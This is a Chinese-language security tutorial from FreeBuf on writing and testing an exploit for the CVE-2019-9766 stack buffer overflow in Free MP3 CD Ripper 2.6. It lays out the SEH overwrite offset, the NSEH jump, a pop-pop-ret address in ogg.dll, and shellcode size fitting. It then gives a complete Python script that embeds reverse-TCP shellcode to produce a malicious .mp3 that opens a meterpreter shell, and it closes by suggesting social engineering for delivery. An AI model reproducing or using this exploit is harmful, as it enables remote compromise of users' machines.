關於CVE-2019-9766緩衝區溢位漏洞的滲透模組編寫與測試
*本文作者:Neroqi,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
*嚴正宣告:本文僅限於技術討論與分享,嚴禁用於非法途徑。
前言
CVE-2019-9766曝出了關於Free MP3 CD Ripper的緩衝區溢位漏洞,在轉換檔案時,Free MP3 CD Ripper 2.6中基於堆疊的緩衝區溢位漏洞允許使用者輔助的遠端攻擊者通過特製的.mp3檔案執行任意程式碼。本文詳細描述了該漏洞的驗證方法,滲透模組的編寫及測試過程。
如需瞭解漏洞詳情,請參照如下URL: https://nvd.nist.gov/vuln/detail/CVE-2019-9766
實驗環境
1. 滲透主機:Kali-Linux-2019.1-vm-amd64 2. 目標主機:CN_Windows7_x86_sp1 3. 軟體版本:Free MP3 CD Ripper 2.6
涉及工具:
1. WinDbgx86-v6.12.2.633 2. python-2.7.15 3. ImmunityDebugger1.85
實驗步驟
1. 驗證該緩衝區溢位漏洞
1.1 通過python生成自定義的.mp3檔案,這裡將10000個字元A轉換成.mp3檔案,程式碼如下:
1.2 在Kali中執行FmcrExploit.py,生成TestFMCR.mp3檔案,如下圖所示:
1.3 將TestFMCR.mp3複製到目標主機,開啟Free MP3 CD Ripper,再開啟WinDbg,並將WinDbg附加到程序fcrip.exe(Free MP3 CD Ripper的程序)上,如下圖所示:
1.4 在Free MP3 CD Ripper中點選“Convert”,選中TestFMCR.mp3進行轉換,如下圖所示:
1.5 在WinDbg中執行命令g,可以看到程式發生了異常,如下圖所示:
1.6 再次執行命令!exchain,檢視SEH鏈資訊,如下圖所示:
經過上述六個步驟,我們確定了緩衝區溢位漏洞的存在,並且用10000個字元A成功覆蓋了SEH。
2. 編寫漏洞利用程式
2.1 定位程式的溢位點,即需要多少個字元A才能夠覆蓋到SEH,首先生成一個長度10000且沒有重複字元的文字,命令如下:
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 10000
內容太多,這裡只截圖一部分:
2.2 用該文字替換FmcrExploit.py中的”A”*10000,重複步驟1.2,生成TestFMCR.mp3檔案;
2.3 重複步驟1.3、1.4、1.5和1.6,發現Pointer to next SEH record被0×46326846覆蓋,如下圖所示:
2.4 通過0×46326846定位程式的溢位點,可以知道只要填充4116個字元就可以覆蓋到 Pointer to next SEH record,具體如下:
2.5 驗證2.4中得到的溢位點是否正確,將FmcrExploit.py中的buffer賦值為”A”*4116,重複步驟1.2,生成TestFMCR.mp3檔案,將檔案複製到目標主機;
2.6 在目標主機中開啟ImmunityDebugger1.85,執行Free MP3 CD Ripper,convert步驟2.5中生成的mp3檔案,得到如下結果:
可以看到4116個字元A正好覆蓋到了Pointer to next SEH record,定位成功。
2.7 Pointer to next SEH record(簡稱nseh),指示下一個seh結構的位置,這裡使用”\xeb\x06\x90\x90″填充,這四位元組反彙編的結果是jmp 6、nop、nop三條指令,jmp 6表示跳過6個位元組,剛好跳過兩個nop指令和一個4位元組的seh處理程式地址,然後落入nop指令區,滑行進入shellcode。
2.8 本例中我們要結合使用seh與nseh,才能夠完成溢位攻擊的全部過程,流程如下:
2.9 尋找pop pop ret三條連續指令是一個難點。在xp中這個過程會簡單很多,但是win7及更高版本的系統中加入了safeseh、ASLR等安全保護措施。辦法總比困難多,解決辦法也是有的。在ImmunityDebugger1.85執行命令!mona seh,結果如下:
2.10 命令!mona seh的輸出結果在seh.txt(該檔案在ImmunityDebugger1.85的安裝目錄下)中,在其中找到如下一條資訊:
可以看到這個pop pop ret指令序列,對應的是軟體自帶的dll檔案(C:\Program Files\Free MP3 CD Ripper\ogg.dll),注意不要使用系統自帶的dll檔案,可能會有ASLR、SafeSEH保護。然後我們就可以在FmcrExploit.py中給SEH賦值 “\x84\x20\xe4\x66″。
補充:cpu中地址資料的順序和網路端傳送的地址順序相反,此時CPU中的地址資料為“0x66e42084”,那麼網路端就需要按“0x8420e466”來傳送地址資料。
2.11 定製一個shellcode,這裡我們製作一個反向TCP連線的shellcode,操作如下:
2.12 從2.11中可以看出,生成的shellcode為341位元組,需要考慮一下緩衝區的大小是否能夠放入該shellcode。根據ImmunityDebugger1.85的除錯結果,我們來計算一下緩衝區的大小,除錯結果如下(內容較多,節選一部分):
040AFEBC 040AFEE8 棹. Pointer to next SEH record
040AFEC0 004955CB 薝I. SE handler
040AFEC4 040AFED4 軋.
......
040AFEE4 |00492C1A ,I. RETURN to fcrip.00492C1A
040AFEE8 |040AFF24 $. Pointer to next SEH record
040AFEEC |00492C24 $,I. SE handler
......
040AFFC4 |FFFFFFFF End of SEH chain
040AFFC8 |7769E0ED 磬iw SE handler
......
040AFFF4 004047F4 鬐@. fcrip.004047F4
040AFFF8 01483044 D0H
040AFFFC 00000000 ....
0x 040AFFFC -0x 040AFEC4 =0×138,換算成十進位制是312,那麼緩衝區的大小就是312+4=316位元組,顯然316位元組怎麼都放不下341位元組的shellcode。
2.13 到此就無法繼續下去了嗎?辦法總比困難多啊,我們可以嘗試把shellcode進行壓縮,操作如下:
可以看到,經過壓縮之後,shellcode變為283位元組,能夠完全放入緩衝區了。
2.14 彙總以上操作,編輯FmcrExploit.py,程式碼如下:
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6
buffer = "A" * 4116
NSEH = "\xeb\x06\x90\x90"
SEH = "\x84\x20\xe4\x66"
nops = "\x90" * 5
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6e\x84"
buf += "\x68\x02\x00\x22\xb8\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"
pad = "B" * (31 6 - len(nops) - len(buf) )
payload = buffer + NSEH + SEH + nops + buf +pad
try:
f=open("TestFMCR.mp3","w")
print "[+] Creating %s bytes mp3 File..." %len(payload)
f.write(payload)
f.close()
print "[+] mp3 File created successfully!"
except:
print "File cannot be created!"
3. 滲透模組測試
3.1 在Kali的msfconsole中啟動偵聽端,等待目標主機上線,操作如下圖所示:
3.2 將最終版FmcrExploit.py生成的TestFMCR.mp3檔案拷貝到目標主機,開啟Free MP3 CD Ripper,Convert該mp3檔案,然後meterpreter session成功建立,如下圖所示:
至此,針對Free MP3 CD Ripper 2.6緩衝區溢位漏洞的滲透模組的編寫和測試順利完成!在實戰中,可能還需要結合社工的方法,使mp3檔案到達目標主機。
*本文作者:Neroqi,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。